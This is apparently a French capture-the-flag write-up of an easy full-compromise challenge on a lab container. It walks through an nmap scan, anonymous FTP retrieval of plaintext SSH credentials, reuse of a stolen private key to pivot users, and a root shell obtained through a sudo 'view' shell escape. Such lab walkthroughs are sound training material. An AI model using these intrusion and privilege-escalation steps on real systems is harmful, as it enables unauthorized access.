Difficulté : Facile

Description

Challenge full‑pwn à faire en 15 minutes. Voici les 5 flags :

  • We are Legion. We do not forgive.
  • Trouve le secret
  • Cherche dans le dossier private
  • Attention au phishing :-)
  • Root la machine !

On commence donc par un rapide nmap pour obtenir une vue d’ensemble des services exposés sur la machine.

[Sep 22, 2025 - 19:12:42 (CEST)] exegol-CTF /workspace # nmap 172.17.0.2
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-22 19:12 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
MAC Address: 32:C9:95:1E:15:94 (Unknown)

On accède ensuite au serveur FTP en tant qu’utilisateur anonyme pour récupérer des fichiers potentiellement exposés.

[Sep 22, 2025 - 19:14:39 (CEST)] exegol-CTF /workspace # ftp anonymous@172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||21005|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             128 Sep 18 15:25 connect.py
-rw-r--r--    1 0        0              28 Sep 18 15:08 flag.txt
226 Directory send OK.
ftp> get connect.py
local: connect.py remote: connect.py
229 Entering Extended Passive Mode (|||21003|)
150 Opening BINARY mode data connection for connect.py (128 bytes).
100% |*******************************************|   128        2.06 MiB/s    00:00 ETA
226 Transfer complete.
128 bytes received in 00:00 (232.77 KiB/s)
ftp> exit
221 Goodbye.

On récupère le fichier connect.py qui contient des identifiants en clair :

#!/usr/bin/env python3
HOST = "127.0.0.1"
PORT = 50022
USER = "svc"
PASS = "S3rv1c3s_pwd"
print(f"ssh -p {PORT} {USER}@{HOST}")

On peut donc utiliser ces identifiants pour se connecter via SSH sur le port indiqué.

[Sep 22, 2025 - 19:15:51 (CEST)] exegol-CTF /workspace # sshpass -p "S3rv1c3s_pwd" ssh "svc"@"172.17.0.2" -p 50022
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.14.0-29-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
svc@bfdca6bd4746 ~$ id
uid=999(svc) gid=999(svc) groups=999(svc)

On examine maintenant le contenu du répertoire personnel pour identifier des fichiers accessibles.

svc@bfdca6bd4746 ~$ ll
total 36
drwxr-xr-x 1 svc  svc  4096 Sep 22 17:15 ./
drwxr-xr-x 1 root root 4096 Sep 22 17:09 ../
-rw-r--r-- 1 svc  svc   150 Sep 22 17:09 .bashrc
drwx------ 2 svc  svc  4096 Sep 22 17:15 .cache/
-rw-r--r-- 1 svc  svc    42 Sep 22 17:09 .profile
drwxr-xr-x 1 svc  svc  4096 Sep 22 17:09 .secret/
drwx------ 2 svc  svc  4096 Sep 22 17:09 .ssh/
svc@bfdca6bd4746 ~$ ll .secret/
total 16
drwxr-xr-x 1 svc svc 4096 Sep 22 17:09 ./
drwxr-xr-x 1 svc svc 4096 Sep 22 17:15 ../
-rw------- 1 svc svc   30 Sep 18 15:08 flag.txt
svc@bfdca6bd4746 ~$ ll .ssh/
total 12
drwx------ 2 svc svc 4096 Sep 22 17:09 ./
drwxr-xr-x 1 svc svc 4096 Sep 22 17:15 ../
-rw------- 1 svc svc 1831 Sep 22 17:09 id_rsa

On récupère la clé SSH privée de l’utilisateur svc. Cette clé nous permettra d’essayer de nous connecter à d’autres utilisateurs sur la machine. Pour cela, nous allons lister les utilisateurs auxquels nous pouvons accéder.

svc@bfdca6bd4746 ~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
svc:x:999:999::/home/svc:/bin/bash
jeanlabrouette:x:998:998::/home/jeanlabrouette:/bin/bash

Nous testons maintenant la clé SSH récupérée sur les autres comptes utilisateurs (hors svc). Seule la connexion en tant que jeanlabrouette fonctionne :

[Sep 22, 2025 - 19:22:34 (CEST)] exegol-CTF /workspace # chmod 600 id_rsa
[Sep 22, 2025 - 19:23:41 (CEST)] exegol-CTF /workspace # ssh -p 50022 jeanlabrouette@172.17.0.2 -i id_rsa
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.14.0-29-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Sep 22 17:22:49 2025 from 172.17.0.1
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
jeanlabrouette@bfdca6bd4746 ~$ id
uid=998(jeanlabrouette) gid=998(jeanlabrouette) groups=998(jeanlabrouette)

On examine le répertoire personnel de jeanlabrouette pour découvrir des informations supplémentaires :

jeanlabrouette@bfdca6bd4746 ~$ ls -lisah
total 36K
2787127 4.0K drwxr-xr-x 1 jeanlabrouette jeanlabrouette 4.0K Sep 22 17:09 .
2787124 8.0K drwxr-xr-x 1 root           root           4.0K Sep 22 17:09 ..
2787101 4.0K -rw-r--r-- 1 jeanlabrouette jeanlabrouette  150 Sep 22 17:09 .bashrc
2787207 4.0K drwx------ 2 jeanlabrouette jeanlabrouette 4.0K Sep 22 17:16 .cache
2787113 4.0K -rw-r--r-- 1 jeanlabrouette jeanlabrouette   42 Sep 22 17:09 .profile
2787128 4.0K drwx------ 2 jeanlabrouette jeanlabrouette 4.0K Sep 22 17:09 .ssh
2787086 4.0K -rw-r--r-- 1 jeanlabrouette jeanlabrouette   34 Sep 18 15:08 flag.txt
2787089 4.0K -rw-r--r-- 1 jeanlabrouette jeanlabrouette   86 Sep 18 15:25 todo.txt
jeanlabrouette@bfdca6bd4746 ~$ cat todo.txt 
TODO: envoyer un mail à Elana Laroux <elana.laroux@corp.local> au sujet des backups.

Cette note indique une adresse e‑mail à laquelle nous pouvons envoyer un message. Nous recevrons une réponse automatique contenant le quatrième flag.

On remarque aussi que l’utilisateur jeanlabrouette peut exécuter le binaire view en tant que root sans mot de passe.

jeanlabrouette@bfdca6bd4746 ~$ sudo -l
Matching Defaults entries for jeanlabrouette on bfdca6bd4746:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeanlabrouette may run the following commands on bfdca6bd4746:
    (root) NOPASSWD: /usr/bin/view

Selon GTFObins , ce binaire peut être exploité pour obtenir un shell root.

jeanlabrouette@bfdca6bd4746 ~$ sudo view -c ':!/bin/bash'

^[[Iroot@bfdca6bd4746:/home/jeanlabrouette# id
uid=0(root) gid=0(root) groups=0(root)
root@bfdca6bd4746:/home/jeanlabrouette# ls -lisah ~/
total 24K
2787087 4.0K drwx------ 1 root root 4.0K Sep 22 17:09 .
2787178 4.0K drwxr-xr-x 1 root root 4.0K Sep 22 17:09 ..
2787197 4.0K -rw------- 1 root root   14 Sep 22 17:09 .bash_history
2141810 4.0K -rw-r--r-- 1 root root 3.1K Oct 15  2021 .bashrc
2141811 4.0K -rw-r--r-- 1 root root  161 Jul  9  2019 .profile
2787088 4.0K -rw------- 1 root root   23 Sep 18 15:08 flag.txt